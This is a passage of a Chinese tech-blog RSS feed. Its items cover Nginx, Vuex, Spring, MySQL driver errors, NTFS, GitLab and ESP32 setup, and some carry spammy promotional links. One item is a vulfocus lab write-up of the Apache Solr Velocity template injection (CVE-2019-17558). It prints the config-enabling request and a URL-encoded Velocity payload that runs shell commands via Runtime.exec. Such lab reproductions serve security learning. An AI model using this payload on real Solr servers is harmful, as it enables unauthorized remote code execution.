的安全性会优于DES。&#xA;3）参考服务器上给出的RC4参考代码，设计一个界面，可以实现在该界面中对给定的明文信息用RC4算法对该明文进行加密和解密操作。&#xA;4) 从服务器上下载PGP相关程序，并阅读相关文档，参考文档的说明实现两个人之间的信息加密传输。（这部分可以选做）&#xA;图A.1 DES加密/解密示例程序&#xA;图A.2 RSA加密解密示例</description>
    </item>
    <item>
      <title>vulfocus——solr远程命令执行(CVE-2019-17558)</title>
      <link>https://bchobby.github.io/posts/8d022505adcdd4c71dae3d980e8195b4/</link>
      <pubDate>Sun, 11 Sep 2022 12:27:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d022505adcdd4c71dae3d980e8195b4/</guid>
      <description>描述 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能，利用Velocity-SSTI漏洞在Solr系统上执行任意代码。 复现 1.打开靶场环境&#xA;2.访问页面默认会有一个叫demo的core&#xA;3.通过访问特定url启用配置params.resource.loader.enabled，其中API路径包含刚才获取的core名称：&#xA;POST /solr/demo/config HTTP/1.1&#xA;Host: 123.58.224.8:36122&#xA;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0&#xA;Accept: application/json, text/plain, */*&#xA;Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2&#xA;Accept-Encoding: gzip, deflate&#xA;doNotIntercept: true&#xA;X-Requested-With: XMLHttpRequest&#xA;Connection: close&#xA;Referer: http://123.58.224.8:36122/solr/&#xA;Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1661606197; csrf_2698a4=b425a1c9; _ga=GA1.1.2104325447.1662173640; JSESSIONID=7D14C3C2E90BB2CC4C21AEA19A01C2D5&#xA;Content-Length: 259&#xA;{&#xA;&#34;update-queryresponsewriter&#34;: {&#xA;&#34;startup&#34;: &#34;lazy&#34;,&#xA;&#34;name&#34;: &#34;velocity&#34;,&#xA;&#34;class&#34;: &#34;solr.VelocityResponseWriter&#34;,&#xA;&#34;template.base.dir&#34;: &#34;&#34;,&#xA;&#34;solr.resource.loader.enabled&#34;: &#34;true&#34;,&#xA;&#34;params.resource.loader.enabled&#34;: &#34;true&#34;&#xA;}&#xA;}&#xA;4.注入Velocity模板即可执行任意命令&#xA;POST /solr/demo/select?q=1&amp;amp;&amp;amp;wt=velocity&amp;amp;v.template=custom&amp;amp;v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 注： Velocity是一个基于Java的模板引擎，可以通过特定的语法获取在java对象的数据，填充到模板中，从而实现界面和java代码的分离</description>
    </item>
    <item>
      <title>Nginx中server_name指令介绍</title>
      <link>https://bchobby.github.io/posts/9362156ac1c4e4ac0ebddab0d0aca66a/</link>
      <pubDate>Sun, 11 Sep 2022 11:58:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9362156ac1c4e4ac0ebddab0d0aca66a/</guid>
      <description>Nginx中server_name指令介绍 用途 根据官方文档说明，用来设置虚拟服务器，对于用IP还是请求头部中的Host字段内容设置这个指令的值，没有明确的分别。&#xA;用法 指令后跟特定域名，此时第一个域名为主域名&#xA;server_name example.com www.example.com; 指令后跟泛域名&#xA;server_name example.com *.example.com www.example.*; 特别的，example.com和*.example.com可以合并为一个，语法为&#xA;server_name .example.com; 正则表达式也可做为值，但是需要在表达式前添加~（波浪号）&#xA;例如匹配example.com 和www111.example.com&#xA;server_name example.com ~^wwwd+.example.com$ 此外，正则表达式可以包含值捕获，并作为其他指令块的值&#xA;server { server_name ~^(www.)?(.+)$; location / { root /sites/$2; } } server { server_name _; location / { root /sites/default; } } $2代表取第二个括号内的值，$0代表整个被匹配到的server_name;&#xA;还可用具体变量名替换$2&#xA;server { server_name ~^(www.)?(?&amp;lt;domain&amp;gt;.+)$; location / { root /sites/$domain; } } server { server_name _; location / { root /sites/default; } } 另外可以设置空名称</description>
    </item>
    <item>
      <title>vuex namespaced 命名空间</title>
      <link>https://bchobby.github.io/posts/fa14f25c9814498e26202298f1a4b22f/</link>
      <pubDate>Sun, 11 Sep 2022 11:20:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa14f25c9814498e26202298f1a4b22f/</guid>
      <description>我们有时候在使用vuex模块的时候，在其中加了一个键值对为：namespaced : true&#xA;export default { namespaced:true, state:{ user:{ username:&#34;&#34;, token:&#34;&#34; } }, mutations:{ setUser(state,user){ state.user = user; } } } namespaced为true的作用是告诉vuex，该模块所有的state 、mutations、actions里面的东西调用时都需要加上命名空间，这个命名空间就是该模块被improt时命名的名字。&#xA;import Vue from &#39;vue&#39; import Vuex from &#39;vuex&#39; import login from &#34;./modules/login&#34; Vue.use(Vuex) export default new Vuex.Store({ modules: { login } }) login就是他的命名空间&#xA;如果使用辅助函数...mutations()&#xA;...mapMutations(&#39;login&#39;,[&#39;setUser&#39;]),&#xA;mapMutations是Vuex的mutation的辅助函数，用于在组件中映射mutation内的方法，以便在该组件中直接使用mutation里的方法 (语法糖)&#xA;内部将mutation里的方法映射到该组件内，相比使用this.$store.commit(&#39;xxx&#39;)更为之方便一点。除此之外还有mapState, mapActions, 用法也类似。</description>
    </item>
    <item>
      <title>谷歌浏览器无法连接到网络的解决办法</title>
      <link>https://bchobby.github.io/posts/94d9351bd6cc83404e63dce98665fea5/</link>
      <pubDate>Sun, 11 Sep 2022 11:12:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94d9351bd6cc83404e63dce98665fea5/</guid>
      <description>电脑可以正常上网，其他浏览器也可以打开网页，甚至谷歌浏览器换成百度搜索引擎也能正常使用，但我以前用Google引擎也是能正常使用的，问题就出现在我使用了一下vpn，然后谷歌浏览器就没法工作了，重启也没用。&#xA;网上搜了很多方法，清楚浏览器数据？没用。修改dns啥的也没用，下面这个有用，找到网络和Internet设置，点击Internet选项，找到连接那一栏，把代理服务器的勾选取消，确定，浏览器可以正常使用了。&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/3b2dc2ae42b84f48aabd3dccb07f7299.p</description>
    </item>
    <item>
      <title>com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException异常解决方法</title>
      <link>https://bchobby.github.io/posts/6071de14ad2315e77bcfb62fbb759a7d/</link>
      <pubDate>Sun, 11 Sep 2022 01:58:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6071de14ad2315e77bcfb62fbb759a7d/</guid>
      <description>起因是我在tomcat导入webapps项目“woniusales.war”，在双击startup.bat方式启动tomcat，启动黑框内报错，打开localhost:8080/woniusales，发现项目未成功配置。&#xA;【严重】com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException 出现错误的原因是：电脑上的mysql版本高，而项目中的mysql-java驱动版本过低，二者不匹配。&#xA;解决步骤：&#xA;1、mysql&amp;gt;select version(); 查看mqsql版本，我的版本是8.0.19。&#xA;2、去官网下载对应版本的mysql-java驱动，MySQL :: Download MySQL Connector/J (Archived Versions)&#xA;然后解压文件，在webappswoniusalesWEB-INFlib文件夹下，用mysql-connector-java-8.0.19.jar替换原来的mysql-connector-java-5.xxx.jar&#xA;3、找到webapps目录下，你的项目中的db.properties文件，以记事本打开。&#xA;db_url=jdbc:mysql://localhost:3306/xxxxxx 末尾加上**&amp;amp;serverTimezone=UTC**&#xA;db_username和db_password跟你本机数据库用户名/密码一致&#xA;db_driver改成com.mysql.cj.jdbc.Driver（mysql 5.xxx 这里的驱动类是com.mysql.jdbc.Driver）&#xA;4、重新双击startup.bat，未出错，打开localhost:8080/woniusales，项目运行成功！&#xA;最后 深知大多数初中级Java工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则近万的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！&#xA;因此收集整理了一份《Java开发全套学习资料》送给大家，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。&#xA;小编已加密：aHR0cHM6Ly9kb2NzLnFxLmNvbS9kb2MvRFVrVm9aSGxQZUVsTlkwUnc==出于安全原因，我们把网站通过base64编码了，大家可以通过base64解码把网址获取下来。</description>
    </item>
    <item>
      <title>BeanFactory与ApplicationContext的区别</title>
      <link>https://bchobby.github.io/posts/1b08778b1c17d94f0848fe7b08a5a183/</link>
      <pubDate>Sun, 11 Sep 2022 01:43:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b08778b1c17d94f0848fe7b08a5a183/</guid>
      <description>BeanFactory与ApplicationContext的区别 一、BeanFactory和ApplicationContext 接口及其子类图 二、概述 BeanFactory和ApplicationContext是Spring的两大核心接口，都可以当做Spring的容器。其中ApplicationContext是BeanFactory的子接口。&#xA;BeanFactory:&#xA;BeanFactory是Spring里面最底层的接口,是Ioc的核心,定义了Ioc的基本功能,包含了各种Bean的定义、加载、实例化,依赖注入和生命周期管理;&#xA;ApplicationContext&#xA;ApplicationContext接口作为BeanFactory的子类,除了提供BeanFactory所具有的功能外,还提供了更完整的框架功能:&#xA;①继承MessageSource,因此支持国际化&#xA;②资源文件访问，如URL和文件（ResourceLoader）&#xA;③载入多个（有继承关系）上下文（及同时加载多个配置文件），使得每一个上下文都专注于一个特定的层次&#xA;④提供在监听器中注册bean的事件；&#xA;三、二者区别 1.BeanFactroy采用的是延迟加载形式来注入Bean的，即只有在使用到某个Bean时(调用getBean())，才对该Bean进行加载实例化，这样，我们就不能发现一些存在的Spring的配置问题。而ApplicationContext则相反，它是在容器启动时，一次性创建了所有的Bean。这样，在容器启动时，我们就可以发现Spring中存在的配置错误。 相对于基本的BeanFactory，ApplicationContext 唯一的不足是占用内存空间。当应用程序配置Bean较多时，程序启动较慢。&#xA;BeanFacotry延迟加载,如果Bean的某一个属性没有注入，BeanFacotry加载后，直至第一次使用调用getBean方法才会抛出异常；而ApplicationContext则在初始化自身是检验，这样有利于检查所依赖属性是否注入；所以通常情况下我们选择使用 ApplicationContext。应用上下文则会在上下文启动后预载入所有的单实例Bean。通过预载入单实例bean ,确保当你需要的时候，你就不用等待，因为它们已经创建好了。&#xA;2.BeanFactory和ApplicationContext都支持BeanPostProcessor、BeanFactoryPostProcessor的使用，但两者之间的区别是：BeanFactory需要手动注册，而ApplicationContext则是自动注册。（Applicationcontext比 beanFactory 加入了一些更好使用的功能。而且 beanFactory 的许多功能需要通过编程实现而 Applicationcontext 可以通过配置实现。比如后处理 bean ， Applicationcontext 直接配置在配置文件即可而 beanFactory 这要在代码中显示的写出来才可以被容器识别。 ）&#xA;3.beanFactory主要是面对与 spring 框架的基础设施，面对 spring 自己。而 Applicationcontex 主要面对与 spring 使用的开发者。基本都会使用 Applicationcontex 并非 beanFactory 。&#xA;四、总结 因此，在实际开发中，通常都选择使用 ApplicationContext，而只有在系统资源较少时，才考虑使用 BeanFactory。&#xA;最后 深知大多数初中级Java工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则近万的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！&#xA;因此收集整理了一份《Java开发全套学习资料》送给大家，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。&#xA;小编已加密：aHR0cHM6Ly9kb2NzLnFxLmNvbS9kb2MvRFVrVm9aSGxQZUVsTlkwUnc==出于安全原因，我们把网站通过base64编码了，大家可以通过base64解码把网址获取下来。</description>
    </item>
    <item>
      <title>饮冰l于 2021-02-05 15:16:54 发布 1288收藏 11分类专栏： 图 文章标签： 算法 数据挖掘 机器学习 深度学习版权图 专栏收录该内容66 篇文章 23 订阅订</title>
      <link>https://bchobby.github.io/posts/08e0a4cc27512c62681590972fdef466/</link>
      <pubDate>Sat, 10 Sep 2022 22:39:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08e0a4cc27512c62681590972fdef466/</guid>
      <description>前言：&#xA;本文的作者认为对于 GNN 的可解释性不足。基于此，作者在节点分类任务上提出可以通过将忽略图结构的浅层模型与两个利用标签结构中相关性的后处理方法相结合，超越或匹配最先进的 GNN 。具体如下:&#xA;(i)误差相关性：传播训练数据中的残余误差以纠正测试数据中的错误信息&#xA;(ii)预测相关性：在测试集数据上进行平滑预测&#xA;作者将整个过程称为 Correct and Smooth (C&amp;amp;S)。其中后处理步骤是通过对早期的基于图的半监督学习方法的标准标签传播方法进行修改实现的。该方法实现了惊人的性能提升，在 OGB-Products 数据集上使用比现有方法少137倍的参数量和100倍的训练时间达到了更佳的性能。&#xA;该方法的性能突出了如何直接将标签信息合并到学习算法(正如在传统技术中所做的那样)产生简单和实质性的性能增益。同时还可以将该技术整合到大型GNN模型中，提升模型性能。&#xA;论文链接：https://arxiv.org/abs/2010.13993&#xA;github：https://github.com/CUAI/CorrectAndSmooth&#xA;0. 标签传播算法&#xA;标签传播算法（label propagation）的核心思想非常简单：相似的数据应该具有相同的label。LP算法包括两大步骤：&#xA;1）构造相似矩阵；&#xA;2）标签传播。&#xA;0.1 相似矩阵构建&#xA;LP算法是基于Graph的，因此我们需要先构建一个图。我们为所有的数据构建一个图，图的节点就是一个数据点，包含labeled和unlabeled的数据。节点 i i i 和节点 j j j 的边表示他们的相似度。这个图的构建方法有很多，这里我们假设这个图是全连接的，节点 i i i 和节点 j j j 的边权重为：&#xA;w i j = e x p ( − ∣ ∣ x i − x j ∣ ∣ 2 α 2 ) (1) w_{ij}=exp(-\frac{||x_i-x_j||^2}{\alpha^2})\tag{1} wij​=exp(−α2∣∣xi​−xj​∣∣2​)(1)&#xA;其中 α \alpha α 作为超参</description>
    </item>
    <item>
      <title>Linux安装Gitlab15详解</title>
      <link>https://bchobby.github.io/posts/fe1e552789e4ce7838e8932e50d6a117/</link>
      <pubDate>Sat, 10 Sep 2022 21:51:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe1e552789e4ce7838e8932e50d6a117/</guid>
      <description>Linux安装Gitlab15详解 镜像：https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/&#xA;官方网站：https://about.gitlab.com/&#xA;安装所需最小配置，内存至少4G&#xA;https://docs.gitlab.cn/jh/install/requirements.html&#xA;前置准备 检查一下域名解析 [root@centos120 ~]# ping baidu.com PING baidu.com (110.242.68.66) 56(84) bytes of data. 64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=1 ttl=128 time=36.9 ms 64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=2 ttl=128 time=34.3 ms 64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=3 ttl=128 time=34.2 ms ^C --- baidu.com ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2005ms rtt min/avg/max/mdev = 34.217/35.167/36.983/1.293 ms [root@centos120 ~]# 使用 yum install wget -y 的时候，输出：“Could not resolve host: mirrors.</description>
    </item>
    <item>
      <title>硬盘文件系统系列专题之二 NTFS</title>
      <link>https://bchobby.github.io/posts/177fd70850fdcc838ab2459af89f5ddb/</link>
      <pubDate>Sat, 10 Sep 2022 19:43:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/177fd70850fdcc838ab2459af89f5ddb/</guid>
      <description>一、NTFS概述&#xA;NTFS (New Technology File System)，是 WindowsNT 环境的文件系统。新技术文件系统是Windows NT家族（如常见的Windows XP、Win7 、Win8、Win10）等的限制级专用的文件系统（操作系统所在的盘符的文件系统必须格式化为NTFS的文件系统，4096簇环境下）。NTFS取代了老式的FAT文件系统。&#xA;NTFS可以支持的分区(如果采用动态磁盘则称为卷)大小可以达到2TB。而Windows2000中的FAT32支持分区的大小最大为32GB。&#xA;当用户将硬盘的一个分区格式化成NTFS分区时，就建立了一个NTFS文件系统结构。NTFS文件系统与FAT文件系统一样，也是用簇为基本单位对磁盘空间和文件存储进行管理的。&#xA;NTFS采用了更小的簇,可以更有效率地管理磁盘空间。FAT32文件系统的情况下，分区大小在2GB～8GB时簇的大小为4KB；分区大小在8GB～16GB时簇的大小为8KB；分区大小在16GB～32GB时,簇的大小则达到了16KB。而NTFS文件系统，当分区的大小在2GB以下时，簇的大小都比相应的FAT32簇小; 当分区的大小在2GB以上时(2GB～2TB),簇的大小都为4KB。相比之下，NTFS可以比FAT32更有效地管理磁盘空间，最大限度地避免了磁盘空间的浪费。&#xA;NTFS分区也被称为NTFS卷，卷上簇的大小，又称为卷因子，其大小是用户在创建NTFS卷时确定的。和FAT文件系统一样，卷因子的大小和文件系统的性能有着非常直接的关系。当一样簇占用的空间太小时，会出现太多的磁盘碎片，这样的空间和文件访问时间上会造成浪费；而相反的当一个簇占用的空间太大时，直接造成了磁盘空间的浪费。因此，最大限度地优化系统对文件的访问速度和最大限度地减少磁盘空间的浪费是确定簇的大小的主要因素。簇的大小一定是扇区大小的整数倍，Win7/8/10系统中通常是8（n为整数），也即簇的大小都为4KB。&#xA;NTFS文件系统使用了逻辑簇号（LCN）和虚拟簇号（VCN）对卷进行管理。其中LCN是对卷的第一个簇到最后一个簇进行编号，只要知道LCN号和簇的大小以及NTFS卷在物理磁盘中的起始扇区就可以对簇进行定位，而这些信息在NTFS卷的引导扇区中可以找到，在系统底层也是用这种方法对文件的簇进行定位的。找到簇在磁盘中的物理位置的计算公式是：&#xA;每簇扇区数*簇号+卷的隐含扇区数（卷之前的扇区总数）=簇的起始绝对扇区号&#xA;而虚拟簇号则是将特定文件的簇从头到尾进行编号，这样做的原因是方便系统对文件中的数据进行引用，VCN并不要求在物理上是连续的，要确定VCN的磁盘上的定位需先将其转换为LCN。&#xA;二、NTFS文件系统结构&#xA;NTFS最基本的原则：&#xA;(1)磁盘上任何对象包括目录都是一种文件，都使用文件记录进行管理。&#xA;(2)所有与文件相关的项目，包括数据都被认为是属性。&#xA;(3)属性分常驻（在记录中）和非常驻两种，非常驻的大文件夹使用B＋树结构进行管理。&#xA;(4)簇是NTFS最小的基本单位，一个1字节的文件也要占用一簇的空间。&#xA;(5)流是NTFS最基本的存储单元，是文件属性和属性值的集合。&#xA;NTFS是以MFT（Master File Table，主文件表或主索引记录）为核心，将整个分区的系统文件和用户文件有机地组织起来的文件系统。&#xA;MFT文件和它的备份，位于NTFS分区中部，前后都是数据区，能更好地受到保护。与FAT系统先放文件分配表，后接数据区的做法不同。NTFS分区，大致布局如下图：&#xA;DBR&#xA;引导区&#xA;用户&#xA;数据&#xA;MFT&#xA;区&#xA;用户数据&#xA;MFT&#xA;部分记录备份&#xA;用户&#xA;数据&#xA;DBR&#xA;备份&#xA;分区所有的文件，其相关的文件信息都保存在MFT中。&#xA;a, 小于1K的小文件（目录），其整个内容都保存在MFT中。&#xA;b, 大于1K的大文件（目录），只有它的起始信息保存在MFT中。&#xA;分区高级格式化成NTFS文件系统时，首先建立了一个主文件表MFT。&#xA;在MFT文件中，会预先建立16个重要的文件（MFT记录的ID编号固定为0-15）和8个保留文件（MFT记录的ID编号固定为16-23），这24个文件是被称为元文件（Metafiles）或元数据（metadata）的系统文件（具体内容见后面），NTFS文件系统将这些数据都当做文件进行管理，这些文件用户是不能访问的，它们的文件名的第一个字符都是“$”，表示该文件是隐藏的。&#xA;而用户的文件在MFT中的ID编号从24后开始排，用户每添加一个文件，ID号加1。当某文件被删除时，与之对应的MFT记录将被空出来，如果此时再添加文件，系统会优先填充ID小的空位。MFT尽量保持其物理上的连续性，可将磁盘碎片降至最低。&#xA;序号&#xA;元文件&#xA;功能&#xA;0&#xA;$MFT&#xA;主文件表本身&#xA;1&#xA;$MFTMirr&#xA;主文件表的部分镜像&#xA;2&#xA;$LogFile&#xA;日志文件&#xA;3&#xA;$Volume&#xA;卷文件&#xA;4&#xA;$AttrDef&#xA;属性定义列表</description>
    </item>
    <item>
      <title>【智能优化算法-白鲸算法】基于白鲸优化算法求解多目标优化问题附matlab代码</title>
      <link>https://bchobby.github.io/posts/0a4a5c3c3486d7d6706fb63cfd69598a/</link>
      <pubDate>Sat, 10 Sep 2022 10:44:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a4a5c3c3486d7d6706fb63cfd69598a/</guid>
      <description>1 内容介绍 在本文中，一种新的基于群体的元启发式算法灵感来自白鲸的行为鲸鱼，称为白鲸优化（BWO），是为了解决优化问题而提出的。三在 BWO 中建立了探索、开发和鲸落的阶段，对应于成对游泳、猎物和鲸落的行为，分别。平衡因子和概率BWO中的鲸落具有自适应性，对控制探索能力起着重要作用和剥削。此外，Levy 航班的引入是为了加强全球范围内的趋同。开发阶段。使用 30 个基准函数测试了提议的 BWO 的有效性，进行定性、定量和可扩展性分析，并将统计结果与15 种其他元启发式算法。根据结果和讨论，BWO 是一个有竞争力的算法解决单峰和多峰优化问题，BWO的总排名是比较元启发式算法中基准函数的可扩展性分析中的第一个通过弗里德曼排名检验。最后，四个工程问题展示了优点和BWO 在解决复杂的现实世界优化问题方面的潜力。&#xA;2 部分代码 %% 描述&#xA;% 1.输入的变量 &#39;population&#39;的大小为: [size(popuation), V+M+1]&#xA;% 2.输出的变量 &#39;chromosome_NDS_CD&#39; 的大小为: [size(population),V+M+3]&#xA;%% 参考文献:&#xA;%Kalyanmoy Deb, Amrit Pratap, Sameer Agarwal, and T. Meyarivan, &#34; A Fast and Elitist Multiobjective Genetic Algorithm: NSGA-II&#34;, %IEEE TRANSACTIONS ON EVOLUTIONARY COMPUTATION, VOL. 6, No. 2, APRIL 2002. %% 函数开始&#xA;function [chromosome_NDS_CD, front] = NDS_CD_cons(population)&#xA;global V M problem_type %% 初始化结构体和变量</description>
    </item>
    <item>
      <title>【web前端】相对路径和绝对路径详解</title>
      <link>https://bchobby.github.io/posts/91db6651f6e23a0bbb93d571f10459fc/</link>
      <pubDate>Sat, 10 Sep 2022 10:22:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91db6651f6e23a0bbb93d571f10459fc/</guid>
      <description>一、绝对路径 绝对路径：&#xA;绝对：真真地存在你电脑上的实际路径。比如你的window系统的C盘下有个ABC文件夹，ABC文件夹下有个file文件。那么绝对路径：C:\ABC\file&#xA;二、使用绝对路径的缺点 事实上，在编程时，很少会使用绝对路径，比如你在Window系统上写了个XX系统，需要使用“E:\book\网页布局\1.jpg”来指定背景图片的位置，在自己的计算机上使用绝对路径浏览可能会一切正常，但是将系统代码文件和背景图文件上传到Web服务器(常常是Linux系统，可能不存在C,D,E盘)上部署系统时浏览就很有可能不会显示图片了。因为上传到Web服务器上时，可能整个系统并没有放在Web服务器的E盘，有可能是D盘或H盘。甚至可能web服务器根本就没有E盘，即使放在Web服务器的E盘里，Web服务器的E盘里也不一定会存在“E:\book\网页布局\1.jpg”这个目录，因此在浏览网页时会找不到该背景图，然后不会显示图片。&#xA;三、相对路径 为了避免这种情况的发生，通常在网页系统上指定文件时，都会选择使用相对路径。所谓相对路径，就是相对于自己的目标文件位置。例如上面的例子，XX系统里引用了“1.jpg”图片，我们上传系统代码时，将XX系统代码和1.jpg放在同一个文件夹上传到web服务器，由于“1.jpg”图片相对于XX系统代码文件来说，是在同一个目录的，那么要在XX系统的代码文件里使用该1.jpg图后，只要这两个文件的相对位置没有变(也就是说还是在同一个目录内)，那么无论上传到Web服务器的哪个位置，在浏览器里都能正确地显示图片。这里XX系统需要使用1.jpg时用的相对路径就为： background = &#34; 1.jpg &#34; 即可&#xA;再举一个例子，假设某个系统的“index..html”文件所在目录为“E:\book\网页布局\”，而“bg.jpg”图片所在目录为“E:\book\网页布局\img下”，那么“bg.jpg”图片相对于“index.html”文件来说，是在其所在目录的“img”子目录里，则引用图片的语句应该为：&#xA;&amp;lt;body background=&#34;img/bg.jpg&#34;&amp;gt;&#xA;注意：相对路径使用“/”字符作为目录的分隔字符，而绝对路径可以使用“\”或“/”字符作为目录的分隔字符。由于“img”目录是“第2章”目录下的子目录，因此在“img”前不用再加上“/”字符。&#xA;四、相对虚拟目录 有关相对路径还有一个比较特殊的表示：“相对虚拟目录”。请看下面的例子：&#xA;&amp;lt;body background=&#34;/img/bg.jpg&#34;&amp;gt;&#xA;在这个例子里，background属性的值为“/img/bg.jpg”，注意在“img”前有一个“/”字符。这个“/”代表的是虚拟目录的根目录. 假设把“E:\book\网页布局\”设为虚拟目录，那么“/img/bg.jpg”的真实路径为“E:\book\网页布局\img \bg.jpg”；&#xA;如果把“E:\book\网页布局\代码\”设为虚拟目录，那么“/img/bg.jpg”的真实路径为“E:\book\网页布局\代码\\img\bg.jpg”</description>
    </item>
    <item>
      <title>天玑9000和麒麟9000 哪个好</title>
      <link>https://bchobby.github.io/posts/ab00cb36ffe3952b1190f168adf70c49/</link>
      <pubDate>Sat, 10 Sep 2022 09:38:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab00cb36ffe3952b1190f168adf70c49/</guid>
      <description>天玑9000更好。天玑9000采用台积电4nm工艺制程、Armv9架构，CPU由1个3.05GHz超大核、3个2.85GHz大核、4个1.8GHz小核构成，GPU为Mali-G710；麒麟9000基于5nm工艺制程，由1个3.13GHz大核、3个2.54GHz中核、4个2.04GHz小核心构成，GPU为Mali-G78。&#xA;我用的手机就是活动时8折抢购的机会不容错过 http://shouji.adiannao.cn/7&#xA;1.天玑9000采用更先进的4nm工艺制程，加持“1+3+4”三丛集Armv9结构，使得其具备更强的性能和更低的功耗，辅以性能大大提升的APU 590，让天玑9000和麒麟9000拉开了不小的身位，综合性能明显优于麒麟9000。&#xA;2.天玑9000的GPU为Mali-G710；麒麟9000的GPU为Mali-G78。二者相比，Mali-G710的综合性能和Mali-G78相比有着大约20%的提升。</description>
    </item>
    <item>
      <title>oi退役杂记</title>
      <link>https://bchobby.github.io/posts/24f54be747df8614b22c6f3084fc1bd6/</link>
      <pubDate>Sat, 10 Sep 2022 09:04:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24f54be747df8614b22c6f3084fc1bd6/</guid>
      <description>现在是2020年的1月22日&#xA;如果在11月比赛的时候我少写了一个部分分，可能我现在还坚持在清北学堂继续自闭，也可能草草了事为4年无果的奥赛生涯惋惜。&#xA;如果11月比赛的时候我多想到了几个题的正解，可能我现在还坚持写代码闭关深造，也可能为了一个一个新政策而苦恼而放弃。&#xA;但是事情偏偏就是很巧，我卡着分数线拿到了省一。AFO。无需选择。无可选择。&#xA;4年。从莫名其妙一无所知抱着好奇进入机房，到断断续续寥寥草草地学一些语法，再到决定参加奥赛开始明白应该努力却还是扛不住颓废；从写个淘淘摘苹果就抓耳挠腮，到面对学不会的dfs和建图，再到ac列表里已有300+道题，面对百余行的代码也压力不大；4年。很多很多人，很多很多事。&#xA;渐渐地和别人有不一样的qq群聊（暗示3000人的sdoiers和helloluogu），渐渐地和别人玩不一样的梗，渐渐地和别人有不一样的爱好和梦想。&#xA;我看着自主招生由极盛一点一点缩紧，直到强基计划 突如其来地结束了它的历史。我看着noip取消csp开始直到noip又复活。&#xA;该说什么呢？奥赛最终失去了高高在上的地位，所做的努力似乎全部缩水。&#xA;但是我不后悔。若说后悔，我也只是后悔在一个一个机房的下午打开了游戏和哔哩哔哩，而没有打开csdn和洛谷；也只是后悔在清北学堂选择了水群而不是努力听课。至于学习oi，我不会后悔。&#xA;从hello world 开始，那个对计算机一无所知的女孩儿开始领略到了算法的美丽&#xA;从oi开始我终于才找到了梦想。&#xA;afo快乐。&#xA;这不是终点，而是开始。&#xA;goodbye，oi；&#xA;hello，new world。&#xA;更新于2021 11 18&#xA;没想到以这样的形式再次开始写CSDN博客。&#xA;原本没什么人看的博客已经许久未更，想来蒙了一大层灰。&#xA;退役之后就开始了新的生活，到现在oi已经忘了大半了。想起来自己还是个奥赛选手也只能是在计概课的时候。&#xA;告别oi也最终放弃了曾经梦想的计算机系，但是这也是自己的选择，毫无后悔，只是怀念。&#xA;那么就重新开始，尽全力做一个优秀的北大医学人吧。</description>
    </item>
    <item>
      <title>ESP32的VScode环境搭建</title>
      <link>https://bchobby.github.io/posts/585b25ed73be5b9795de87757b8a333e/</link>
      <pubDate>Sat, 10 Sep 2022 00:39:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/585b25ed73be5b9795de87757b8a333e/</guid>
      <description> 本文记录ESP32的VScode的开发环境搭建主要过程和一些问题&#xA;1. 软件下载&#xA;下载地址：https://code.visualstudio.com/&#xA;安装过程不赘述了，需要注意的是，安装时，下面的选项最好选择打勾&#xA;2.ESP-IDF的插件安装&#xA;在插件中搜索“ESP-IDF”，点击“indtall”&#xA;安装好之后选择“ADVANCED”进行配置&#xA;配置过成中，有一个路径选择的配置项&#xA;可以参考如下进行创建和配置，放在一个合适位置，同一个文件夹下放idf和tools工具&#xA;3.安装就一直安装即可，需要注意的是，期间有可能会安装失败，只要多重试，即可实现安装完成&#xA;4.安装好之后，搜索“ESP-IDF:Example”，创建/打开例程&#xA;创建时，保存工程到合适位置即可&#xA;5.之后可在VScode查看相对应的功能按钮&#xA;6.选择端口和芯片类型&#xA;7.编译&#xA;8.使用串口monitor&#xA;9.另外可以使用如下的几条命令&#xA;编译命令： idf.py build 下载命令： idf.py -p COMXXX flash 打开串口监视：idf.py -p COMXXX monitor 清除工程：idf.py fullclean 命令可以使用插件的下面这个按钮打开&#xA;10.如果遇到芯片选择错误，或者需要更改芯片型号，可以如下方式&#xA;del Env:\IDF_TARGET idf.py fullclean idf.py set-target esp32s3 </description>
    </item>
    <item>
      <title>单源最短路 spfa</title>
      <link>https://bchobby.github.io/posts/b64bc76364a11f3736d516904ba911a8/</link>
